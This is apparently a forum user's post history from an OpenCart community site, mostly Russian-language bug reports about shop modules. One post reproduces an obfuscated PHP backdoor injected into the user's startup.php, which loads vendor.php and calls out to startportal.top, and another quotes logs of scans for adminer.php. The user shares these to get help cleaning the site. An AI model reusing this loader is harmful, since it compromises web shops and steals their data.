-
Публікації
71 -
З нами
Тип публікації
Профілі
Форум
Маркетплейс
Статті
FAQ
Наші новини
Магазин
Блоги
module__dplus_manager
Усі публікації користувача maaby
-
После обновления с 1.5 (php 7.3) на 1.6 (php 8.3), opencart 3.0.4 В корзине index.php?route=checkout/onepcheckout Ошибка Fatal error: Uncaught TypeError: Unsupported operand types: string - float in storage\modification\catalog\controller\checkout\onepcheckout.php:2759 В $opc_setting_shipping_methods лежит array(1) { ["default"]=> array(3) { ["title"]=> string(23) "По умолчанию" ["free_shipping_status"]=> string(1) "1" ["free_shipping_price"]=> string(0) "" } } А позже в строке 2759 мы выполняем мат. действия $free_shipping_from - $order_sum. $data['text_free_shipping_left'] = sprintf($this->language->get('text_free_shipping_left'), $this->currency->format($free_shipping_from - $order_sum, $this->session->data['currency'])); Я пока просто добавил приведение типов (float)$free_shipping_from, потестирую, может еще что выскочит, напишу.
-
Подскажите, в шаблоне есть частичное заполнение звезд (рейтинг товара)? По Html там есть такая возможность, но по коду вижу округление до целых. Возможно у меня из-за отличий opencart и ocStore что-то не сработало, а в Вашем тестовом шаблоне (https://upstore.waterfilter.in.ua/) этого не видно. Если нет, подскажите, планируется ли этот функционал в следующем обновлении и когда оно будет (просто если долго ждать, сам сделаю).
-
Спасибо, мне не нужно поправлять, я только для вас скинул информацию. Я кстати не подумал, что в ocstore встроен не только перевод, но и модуль статей. А в оригинальном модуле seo_pro https://github.com/eniarku/seo_pro статей нет и этого кода соответственно тоже. Скачаю ocstore, сам гляну. Спасибо за наводку.
-
Ошибка при генерации URL для новостей (только при установке seo_pro). Opencart 3.0.4.0 (но не важно, какая версия). В ocmode "UpStore - News" Строка которую ищем в вайле "catalog/controller/startup/seo_pro.php" <search><![CDATA['article_id', 'blog_category_id']]></search> не существует. Fix: ocmod файл UpStore - News в 161 строке просто добавил <operation error="skip">, чтобы дальше выполнялся файл. Не разбирался, за что отвечал этот код, но на всидку сейчас все работает. А сео про поставил, чтобы можно было выбирать главную категорию при редактировании товара (см. скрин). У вас тоже есть такая возможность. Тоже seo_pro стоит? Или у вас есть такой функционал в шаблоне по умолчанию?
-
Предложение Модуль Новости. Сделать отображение новостей не в алфавитном порядке а по дате добавления (от новых к старым). Так же здорово когда отображается дата добавления и просмотры. И сортировки по этим полям. Сделал бы сам, но модуль закодирован. Подсмотрел на Unishop 2, очень удобно было. На unishop так:
-
Спасибо за предложение, я пока сам. Если закончатся идеи, тогда буду искать специалиста.
-
В этот раз не спешил и сделал скриншот изменений, которые сделал вирус.
-
Скорее всего так и было. Т.к. не смог зайти в админку под своим логином \ паролем, но не придал этому значения, просто сбросил через БД. А в "Расширения" -> "установка расширений" - истории установок был пару месяцев назад загружен модуль english-clear-install_OC23 Т.к. я не помню, чтобы что-то такое устанавливал, то просто удалил его. Может поможет, т.к. вредоносные сайты опять появились на моем хостинге. Очередной этап битвы, мне уже даже интересно)
-
Добрый день. Да. Спасибо, что указали мне на этот модуль. Не помню даже, зачем его ставил. Вы вырвали из контекста мою фразу. Самый лучший в РБ. Я понимаю, почему вы это пишите... Но я уже давно не живу в Беларуси, т.к. не согласен с тем, что происходит. Правда магазин еще там остался, работает, что-то зарабатывает и помогает оплачивать тут счета. Отказываться от того, что приносит хоть какой-то доп. доход, я не хочу, поймите меня правильно. Огромное спасибо за дельный совет! Надо было давно проверить логи, только я с перепуга всё стер, как только увидел Скорее всего ваш коллега выше уже нашел то, что я должен был обнаружить в логах. В общем, файл adminer.php лежит уже на сервере с 20го года. Но попытка загрузки сторонних файлов на сайт была только пару недель назад... Вот интересное еще в логах нашел. Стучались по следующим адресам: 109.196.163.71 - - [02/Jul/2024:09:47:21 +0300] "GET /composer.json HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:23 +0300] "GET /package.json HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:25 +0300] "GET /adminer.php HTTP/1.0" 200 4049 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:26 +0300] "GET /phpmyadmin HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:29 +0300] "GET /phpMyAdmin HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:30 +0300] "GET /pma HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:32 +0300] "GET /myadmin HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:34 +0300] "GET /dbadmin HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 109.196.163.71 - - [02/Jul/2024:09:47:37 +0300] "GET /_phpmyadmin HTTP/1.0" 404 42489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" admirer.php как вы понимаете, был... Буду обновлять по мере появления новой инфы. Всем еще раз спасибо за наводки и советы.
-
Не должен, по крайней мере я надеюсь на это. Убрал старые модули, которые уже давно не используются, обновил остальные, сменил пароли на хостинг, обновил версию php, подключил антивирус. Не смотря на язвительные комментарии, я буду информировать участников форума, т.к. тема возможно будет для кого-то полезна. Если не отпишусь, то всё ок.
-
Спасибо за предложение, я то вычистил уже всё. Просто интересно, как такие вирусы попадают.
-
Хостинг в беларуси. Hoster.by, самый лучший, что у нас есть. 99% куплено на этом сайте. Может пару штук купил на opencart.com. Никаких помоек я точно не посещал и ничего из них не качал.
-
Добрый день сообщество. Столкнулся с такой проблемой. opencart 3, внесены изменения в файл startup.php Выглядит это так: <?php $d9 = $_SERVER["\104\x4f\103\125\115\x45\116\x54\x5f\x52\x4f\117\x54"] . "\x2f\143\x61\x74\x61\x6c\x6f\147\57\x6d\x6f\144\x65\154\57\x61\143\143\x6f\x75\156\164\57"; require_once $d9 . "\166\x65\156\x64\157\x72\x2e\160\150\x70"; nMrChmuwkz::COweBqRSju("\x68\164\164\x70\x73\x3a\x2f\57\x73\164\x61\162\164\x70\x6f\x72\x74\x61\154\56\x74\157\160\57\151\156\x66\x6f\x2f", "\62\71\61\x36", 1, 1); ?> Если кратко - подключается файл vendor.php и запускается метод nMrChmuwkz::COweBqRSju("https://startportal.top/info/", "2916", 1, 1); который скорее всего отправляет данные на https://startportal.top/info/ Прикрепил файл вендор пхп, для примера, он зашифрован с использованием escape-последовательностей. он дальше много чего подгружает. Потом создают форму, через которую на мой сервер загружают файл с именем mysql_pdo.php Что я пока не понял: какие данные они выгружают из БД. А главное, каким образом эта хрень попала на мой сайт. Предвосхищая комментарии, сразу напишу - никаких модулей я не скачивал с варез сайтов. Все купленно. Но правда в том, что некоторые давно не обновлялись. Подскажите, может кто сталкивался с похожим? Куда копать и как искать, кто виновник... Файлы вируса приложил, но не все, т.к. первой реакцией было вычистить его нафиг. Только потом начал что-то сохранять себе для анализа. vendor.php startup.php plugins.php dist.php english.php
-
Добрый день. Не подскажете, как можно сделать, чтобы в каталоге и на стр. товара звездочки аналогично, закрашивались частично, как в самом модуле. Сейчас звездочка либо целиком закрашена, либо нет. В самом модуле - работает все хорошо.
- 264 відповіді
-
- отзывы
- отзывы фото
- (і ще %d)
-
Спасибо, все так и есть. Исправил. Моя ошибка в том, что я думал - это фильтр только для исключений, а если его не настраивать то автоматически подтягивается все.
-
Добрый день. Обновил модуль. Создал виджет, но при нажатии на обновление кэша выдает окошко с ошибкой:
-
Добрый день. Подскажите, планируется ли интеграция пользователей сайта с физ. лицами из 1с. К примеру у нас бонусная программа и люди регистрируются в магазине, получают бонусные баллы за покупку. Было бы интересно, синхронизировать клиентов (по уникальному полю - может номер телефона, а затем фамилии) между 1с и сайтом, а так-же их бонусные баллы (чтобы их можно было потратить в интернет магазине). Или может можно допилить индивидуально (вопрос цены).
- 160 відповідей
-
- sync1c
- синхронизация с 1с
- (і ще %d)
-
@markimax Добрый день, писал в личку по поводу обновления и настройки модуля, как увидите - отпишитесь пожалуйста.
-
Не совсем так. Я обновлял модуль по тому, что фото не грузились. Но после обновления - ситуация не изменилась - 500 ошибка. Что касается админки - я всё поправил. А вот через форму - оставить отзыв о товаре на стр. продукта - вылетает 500 ошибка. UPD: Когда добавил поля в БД - 500 исчезла, отзыв добавляет. Но фото не появляется. review-media-container - пустой.
- 264 відповіді
-
- отзывы
- отзывы фото
- (і ще %d)
-
Это я уже решил (там выше было написано). Кстати, эта колонка, еще в одной таблице отсутствовала и еще + review_id, но такие проблемы решаются на раз, по ним логи есть. А вот 500 ошибка в зашифрованном файле - это мне не под силу.
- 264 відповіді
-
- отзывы
- отзывы фото
- (і ще %d)
-
UPD: решено! Добавил колонку типа varchar 255. Это у меня после обновления вылетело. Еще заметил, что в админке, на странице редактирования отзыва вылетает 500 ошибка. https://aloe.by/admin/index.php?route=catalog/extended_reviews/edit 12-Nov-2020 13:59:35 UTC] PHP Fatal error: Uncaught exception 'Exception' with message 'Error: Unknown column 'review_type' in 'where clause'<br />Error No: 1054<br />SELECT * FROM oc_review_image WHERE review_id = '223' and review_type = '0'' in /home/maaby/aloe.by/system/library/db/mysqli.php:40 Stack trace: #0 /home/maaby/aloe.by/system/library/db.php(45): DB\MySQLi->query('SELECT * FROM o...') #1 /home/maaby/aloe.by/admin/model/catalog/extended_reviews.php(76): DB->query('SELECT * FROM o...') #2 [internal function]: ModelCatalogExtendedReviews->getImagesByReviewId('223') #3 /home/maaby/aloe.by/aloe_storage/modification/system/engine/loader.php(251): call_user_func_array(Array, Array) #4 [internal function]: Loader->{closure}(Array, Array) #5 /home/maaby/aloe.by/system/engine/proxy.php(47): call_user_func_array(Object(Closure), Array) #6 /home/maaby/aloe.by/admin/controller/catalog/extended_reviews.php(954): Proxy->__call('getImagesByRevi...', Array) #7 /home/maaby/aloe.by/admin/controller/catalog/extended_reviews.php(954): Proxy->getImagesByReview in /home/maaby/aloe.by/system/library/db/mysqli.php on line 40
- 264 відповіді
-
- отзывы
- отзывы фото
- (і ще %d)